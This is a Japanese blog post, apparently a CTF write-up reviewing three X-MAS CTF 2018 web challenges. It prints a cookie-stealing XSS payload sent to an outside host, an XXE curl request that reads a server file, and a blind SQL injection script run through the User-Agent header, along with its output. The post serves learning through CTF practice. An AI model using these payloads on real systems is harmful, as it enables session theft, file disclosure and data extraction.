X-MAS CTF 2018 供養(Webとか)

X-MAS CTFでチラ見以上したけど解けなかった問題の復習をする。(スコアサーバーが動いているうちに、、、)
これはその際のメモとお気持ち。cryptoはまた別でやります。

Santa's lucky number(Web)

以下問題文。

Come on! Santa's lucky number is pretty predictable, don't you think? ;)

Server: http://199.247.6.180:12005

とりあえずアクセスしてみると以下のような画面がでてくる。 f:id:kent056-n:20181224004247p:plain 適当にボタンを押してみるがハッシュ値っぽい数字が出てくるだけ。。。ここで意味がわからず競技中は放置してしまった。

Santa loves hiding his secrets on the page numbered as his lucky number :)

どうやらhttp://199.247.6.180:12005/?page=4の値を順に調べて行くとFLAG出たらしい。(なぜ思いつけなかったんだ、、、

import requests
import re

url = 'http://199.247.6.180:12005'
i = 0
while True:
    payload = {'page': str(i)}
    r = requests.get(url, params=payload)
    print('[*]Requests: ' + url + '/?page=' + str(i))
    if re.search(r'X-MAS', r.text):
        print(r.text)
        break;
    i = i + 1

FLAGはX-MAS{W00pS_S0m30n3_73l1_S4n7a_h1s_c00k1eS_Ar3_BuRn1ng} f:id:kent056-n:20181224005733p:plain

Our Christmas Wishlist(Web)

以下、問題文。

We have all gathered round to write down our wishes and desires for this Christmas! Please don't write anything mean, Santa will be reading this!

Server: http://199.247.6.180:12001

とりあえずアクセスしてみると以下のような画面が表示される。
f:id:kent056-n:20181224005115p:plain

ページのソースは以下のようになっていた。
競技中は上記のフォームに対して<script>location.href="http://g0r0g0r0.ga:8000/17fcd1x1?"+document.cookie</script>こんな感じのscriptが発火するようなpayloadを送信して、サンタ見に来ないじゃん!!ってキレてた。

. . . 

<script>
function lol () {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
        if (xhttp.readyState == 4 && xhttp.status == 200) {
            document.location.reload();
        }
    };
    
    var xml = "<message>" + document.getElementById("textarea").value + "</message>";
    xhttp.open("POST", "/", true);
    xhttp.setRequestHeader('Content-Type', 'application/xml');
    xhttp.send(xml);
};
</script>

<body background="paper.jpg" style = "margin-left:25px; margin-top:25px;">
    <p class="text" style="font-size: 60px">Our Christmas Wishlist!</p>
    <textarea id="textarea" rows="6" cols="50" placeholder="I wish for a pony..." class="text" style="font-size: 30px"></textarea>
    <button style="position:relative; bottom:90px; left:20px;" onclick="lol();"></button>
    
    <div style="margin-top:24px;">
            </div>
</body>

他の人のwriteupを見たところ、どうやらXXEによってファイルを読むことができたらしい。(XMLの時点で気づけたらよかったのか。。。)

www.mbsd.jp

以下のようなリクエストを送ることでフラグを入手できた。FLAGはX-MAS{_The_Ex73rnal_Ent1t13$_W4n7_To__Jo1n_7he_p4r7y__700______}

# curl -X POST http://199.247.6.180:12001/ -d '<!DOCTYPE name [<!ENTITY h SYSTEM "file:///var/www/html/flag.txt">  <!-- <D> -->]><message>&h;</message>'
Your wish: X-MAS{_The_Ex73rnal_Ent1t13$_W4n7_To__Jo1n_7he_p4r7y__700______}

Santa's No Password Login System(Web)

職業柄気になったので復習しておく。以下、問題文。

We all know that Santa is quite an old man. He sometimes forgets things. Including his password.

Therefore, our high-tech gnomegineer department worked the whole last night to develop a new login system, that requires no passwords! Nifty.

Server: http://199.247.6.180:12003

まず、サーバーにアクセスしてみるとサンタニキが出てくるだけで、これといった入力フォームなどはない、、、

f:id:kent056-n:20181224012705p:plain

とりあえずソースを表示してみたが、mp3のいい感じの音楽を聞いただけでギブアップ。

<div id="snowflakeContainer">
    <p class="snowflake">*</p>
</div>

<body style="background-color:black">
    <!--Bells and Whistles-->
    <script src="flsnowcompress.js"></script>
    <audio autoplay>
        <source src="christmas.mp3" type="audio/mpeg">
    </audio>
    
    <img class="center" style="width:200; height:323; margin-top:100px" src="santa.png"></img>
    <p class="text" align="center">Santa's No-Password Login!</p>
    <p class="text" align="center" style="margin-top:-60px; font-size: 32px; opacity: 0.8;">You don't seem to be using an official Computer from Santa's Laboratory!</p>
    <p class="text" align="center" style="margin-top:-40px; font-size: 26px; opacity: 0.8;
      color: red;">Access Denied!   </p>
</body>

他のwriteupを見てみると、どうやらUserAgentにsqliの脆弱性があったらしい。あとは、以下のようなスクリプトを実行し、Blind SQLインジェクションをしてFLAGをゲットして終わりだったようだ。

import urllib2

flag = ""

chars = '-\{\}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_'

for i in range(0, 37):
    for i in range(0, len(chars)):
        str = """' OR ua LIKE BINARY "{}%";#""".format(flag+chars[i])
        headers =  {
                'User-Agent': str,
        }

        req=urllib2.Request("http://199.247.6.180:12003/", None, headers)
        response=urllib2.urlopen(req).read()

        if "Welcome" in response:
            flag += chars[i]
            print flag
            break

以下、実行結果。FLAGはX-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3}。 自分もこういうのを見つけられるようになりたい。。。(みんなどうやって見つけてるんだろう??)

# python solve.py
X
X-
X-M
X-MA
X-MAS
X-MAS{
X-MAS{E
X-MAS{EV
X-MAS{EV3
X-MAS{EV3R
X-MAS{EV3RY
X-MAS{EV3RY0
X-MAS{EV3RY0N
X-MAS{EV3RY0NE
X-MAS{EV3RY0NE_
X-MAS{EV3RY0NE_F
X-MAS{EV3RY0NE_F3
X-MAS{EV3RY0NE_F34
X-MAS{EV3RY0NE_F34R
X-MAS{EV3RY0NE_F34R5
X-MAS{EV3RY0NE_F34R5_
X-MAS{EV3RY0NE_F34R5_T
X-MAS{EV3RY0NE_F34R5_TH
X-MAS{EV3RY0NE_F34R5_TH3
X-MAS{EV3RY0NE_F34R5_TH3_
X-MAS{EV3RY0NE_F34R5_TH3_B
X-MAS{EV3RY0NE_F34R5_TH3_BL
X-MAS{EV3RY0NE_F34R5_TH3_BL1
X-MAS{EV3RY0NE_F34R5_TH3_BL1N
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_G
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3}

参考

X-MAS CTF カテゴリーの記事一覧 - Yunolay’s blog

X-MAS CTF: Santa's No Password Login System – Diego95root